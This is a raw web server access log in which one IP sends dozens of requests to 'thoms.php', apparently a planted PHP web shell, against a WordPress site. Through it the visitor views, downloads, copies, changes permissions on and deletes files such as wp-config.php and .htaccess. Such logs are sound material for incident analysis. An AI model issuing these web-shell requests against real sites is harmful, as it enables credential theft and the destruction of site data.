45.135.193.11 - - [11/Sep/2026:22:36:01 -0400] "GET /big-wife.com.tw/cgi-bin/ HTTP/1.1" 200 692 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:01 -0400] "GET /thoms.php?del=.well-known&p=big-wife.com.tw HTTP/1.1" 200 17368 "http://163.245.207.76:443/thoms.php?del=.well-known&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:01 -0400] "GET /thoms.php?p=big-wife.com.tw&view=wp-activate.php HTTP/1.1" 200 14830 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw&view=wp-activate.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:01 -0400] "GET /big-wife.com.tw/locoy.php HTTP/1.1" 200 125 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:01 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 14359 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:01 -0400] "GET /thoms.php?p=big-wife.com.tw&view=wp-blog-header.php HTTP/1.1" 200 12040 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw&view=wp-blog-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:02 -0400] "GET /thoms.php?dl=wp-blog-header.php&p=big-wife.com.tw HTTP/1.1" 200 17370 "http://163.245.207.76:443/thoms.php?dl=wp-blog-header.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:02 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-config.php&p=big-wife.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-config.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:02 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-cron.php&p=big-wife.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-cron.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:02 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-signup.php&p=big-wife.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-signup.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:02 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p= HTTP/1.1" 200 11658 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ftext-kernel&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:02 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin&p= HTTP/1.1" 200 11655 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:02 -0400] "GET /thoms.php?del=.htaccess&p=big-wife.com.tw HTTP/1.1" 200 17365 "http://163.245.207.76:443/thoms.php?del=.htaccess&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:02 -0400] "GET /thoms.php?p=big-wife.com.tw&view=wp-login.php HTTP/1.1" 200 29028 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw&view=wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:02 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-settings.php&p=big-wife.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-settings.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:02 -0400] "GET /thoms.php?del=locoy.php&p=big-wife.com.tw HTTP/1.1" 200 17369 "http://163.245.207.76:443/thoms.php?del=locoy.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:02 -0400] "GET /thoms.php?dl=mah.php&p=big-wife.com.tw HTTP/1.1" 200 17367 "http://163.245.207.76:443/thoms.php?dl=mah.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:02 -0400] "GET /big-wife.com.tw/wp-trackback.php HTTP/1.1" 404 157 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:02 -0400] "GET /thoms.php?dl=wp-trackback.php&p=big-wife.com.tw HTTP/1.1" 200 17369 "http://163.245.207.76:443/thoms.php?dl=wp-trackback.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:02 -0400] "GET /thoms.php?p=big-wife.com.tw&view=.htaccess HTTP/1.1" 200 12738 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw&view=.htaccess" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:03 -0400] "GET /big-wife.com.tw/.well-known/ HTTP/1.1" 200 782 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:03 -0400] "GET /thoms.php?p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 13418 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:03 -0400] "GET /thoms.php?p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 13280 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:03 -0400] "GET /thoms.php?p=big-wife.com.tw&upload= HTTP/1.1" 200 12154 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:03 -0400] "GET /big-wife.com.tw/wp-blog-header.php HTTP/1.1" 404 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:03 -0400] "GET /thoms.php?del=cgi-bin&p=big-wife.com.tw HTTP/1.1" 200 17367 "http://163.245.207.76:443/thoms.php?del=cgi-bin&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:03 -0400] "GET /thoms.php?del=wp-includes&p=big-wife.com.tw HTTP/1.1" 200 17373 "http://163.245.207.76:443/thoms.php?del=wp-includes&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:03 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-activate.php&p=big-wife.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-activate.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:03 -0400] "GET /thoms.php?chmod=orphan-transpiler&p=big-wife.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?chmod=orphan-transpiler&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:03 -0400] "GET /thoms.php?chmod=cgi-bin&p=big-wife.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?chmod=cgi-bin&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:03 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:03 -0400] "GET /thoms.php?del=text-kernel&p=big-wife.com.tw HTTP/1.1" 200 17375 "http://163.245.207.76:443/thoms.php?del=text-kernel&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:03 -0400] "GET /thoms.php?p=big-wife.com.tw&view=error_log HTTP/1.1" 200 14619 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:03 -0400] "GET /big-wife.com.tw/readme.html HTTP/1.1" 200 2990 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:03 -0400] "GET /thoms.php?chmod=license.txt&p=big-wife.com.tw HTTP/1.1" 200 11495 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:03 -0400] "GET /big-wife.com.tw/wp-mail.php HTTP/1.1" 403 1196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:04 -0400] "GET /thoms.php?dl=wp-comments-post.php&p=big-wife.com.tw HTTP/1.1" 200 17368 "http://163.245.207.76:443/thoms.php?dl=wp-comments-post.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:04 -0400] "GET /thoms.php?del=wp-settings.php&p=big-wife.com.tw HTTP/1.1" 200 17368 "http://163.245.207.76:443/thoms.php?del=wp-settings.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:04 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ferror_log&p=big-wife.com.tw HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ferror_log&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:04 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Findex.php&p=big-wife.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Findex.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:04 -0400] "GET /thoms.php?del=mah.php&p=big-wife.com.tw HTTP/1.1" 200 17367 "http://163.245.207.76:443/thoms.php?del=mah.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:04 -0400] "GET /thoms.php?p=big-wife.com.tw&view=thoms.php HTTP/1.1" 200 11820 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw&view=thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:04 -0400] "GET /big-wife.com.tw/wp-signup.php HTTP/1.1" 500 1182 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:04 -0400] "GET /big-wife.com.tw/wp-content/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:04 -0400] "GET /thoms.php?chmod=wp-settings.php&p=big-wife.com.tw HTTP/1.1" 200 11495 "http://163.245.207.76:443/thoms.php?chmod=wp-settings.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:04 -0400] "GET /big-wife.com.tw/wp-links-opml.php HTTP/1.1" 200 212 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:04 -0400] "GET /thoms.php?del=error_log&p=big-wife.com.tw HTTP/1.1" 200 17370 "http://163.245.207.76:443/thoms.php?del=error_log&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:04 -0400] "GET /thoms.php?del=wp-config.php&p=big-wife.com.tw HTTP/1.1" 200 17363 "http://163.245.207.76:443/thoms.php?del=wp-config.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:04 -0400] "GET /thoms.php?p=big-wife.com.tw&view=wp-cron.php HTTP/1.1" 200 14189 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw&view=wp-cron.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:04 -0400] "GET /thoms.php?del=wp-signup.php&p=big-wife.com.tw HTTP/1.1" 200 17369 "http://163.245.207.76:443/thoms.php?del=wp-signup.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:05 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fxmlrpc.php&p=big-wife.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fxmlrpc.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:05 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 13628 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:05 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Flicense.txt&p=big-wife.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Flicense.txt&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:05 -0400] "GET /thoms.php?p=big-wife.com.tw&view=locoy.php HTTP/1.1" 200 12956 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw&view=locoy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:05 -0400] "GET /thoms.php?chmod=wp-config-sample.php&p=big-wife.com.tw HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?chmod=wp-config-sample.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:05 -0400] "GET /thoms.php?chmod=locoy.php&p=big-wife.com.tw HTTP/1.1" 200 11492 "http://163.245.207.76:443/thoms.php?chmod=locoy.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:05 -0400] "GET /thoms.php?del=xmlrpc.php&p=big-wife.com.tw HTTP/1.1" 200 17367 "http://163.245.207.76:443/thoms.php?del=xmlrpc.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:05 -0400] "GET /thoms.php?chmod=wp-admin&p=big-wife.com.tw HTTP/1.1" 200 11488 "http://163.245.207.76:443/thoms.php?chmod=wp-admin&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:05 -0400] "GET /thoms.php?chmod=index.php&p=big-wife.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:05 -0400] "GET /thoms.php?dl=wp-cron.php&p=big-wife.com.tw HTTP/1.1" 200 17365 "http://163.245.207.76:443/thoms.php?dl=wp-cron.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:05 -0400] "GET /big-wife.com.tw/orphan-transpiler/ HTTP/1.1" 200 6433 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:05 -0400] "GET /thoms.php?chmod=wp-mail.php&p=big-wife.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=wp-mail.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:05 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p= HTTP/1.1" 200 11663 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Forphan-transpiler&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:05 -0400] "GET /thoms.php?chmod=wp-includes&p=big-wife.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?chmod=wp-includes&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:05 -0400] "GET /thoms.php?chmod=mah.php&p=big-wife.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?chmod=mah.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:06 -0400] "GET /thoms.php?dl=readme.html&p=big-wife.com.tw HTTP/1.1" 200 17369 "http://163.245.207.76:443/thoms.php?dl=readme.html&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:06 -0400] "GET /thoms.php?dl=wp-login.php&p=big-wife.com.tw HTTP/1.1" 200 17370 "http://163.245.207.76:443/thoms.php?dl=wp-login.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:06 -0400] "GET /thoms.php?p=big-wife.com.tw&view=wp-trackback.php HTTP/1.1" 200 14093 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw&view=wp-trackback.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:06 -0400] "GET /thoms.php?p=big-wife.com.tw&settings=1 HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:06 -0400] "GET /thoms.php?del=readme.html&p=big-wife.com.tw HTTP/1.1" 200 17369 "http://163.245.207.76:443/thoms.php?del=readme.html&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:06 -0400] "GET /thoms.php?del=wp-activate.php&p=big-wife.com.tw HTTP/1.1" 200 17370 "http://163.245.207.76:443/thoms.php?del=wp-activate.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:06 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-mail.php&p=big-wife.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-mail.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:06 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59296 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:06 -0400] "GET /thoms.php?p=big-wife.com.tw&view=wp-settings.php HTTP/1.1" 200 19467 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw&view=wp-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:06 -0400] "GET /big-wife.com.tw/xmlrpc.php HTTP/1.1" 405 62 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:06 -0400] "GET /thoms.php?chmod=wp-trackback.php&p=big-wife.com.tw HTTP/1.1" 200 11494 "http://163.245.207.76:443/thoms.php?chmod=wp-trackback.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:07 -0400] "GET /thoms.php?del=wp-content&p=big-wife.com.tw HTTP/1.1" 200 17372 "http://163.245.207.76:443/thoms.php?del=wp-content&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:07 -0400] "GET /thoms.php?chmod=wp-comments-post.php&p=big-wife.com.tw HTTP/1.1" 200 11499 "http://163.245.207.76:443/thoms.php?chmod=wp-comments-post.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:07 -0400] "GET /thoms.php?dl=wp-signup.php&p=big-wife.com.tw HTTP/1.1" 200 17372 "http://163.245.207.76:443/thoms.php?dl=wp-signup.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
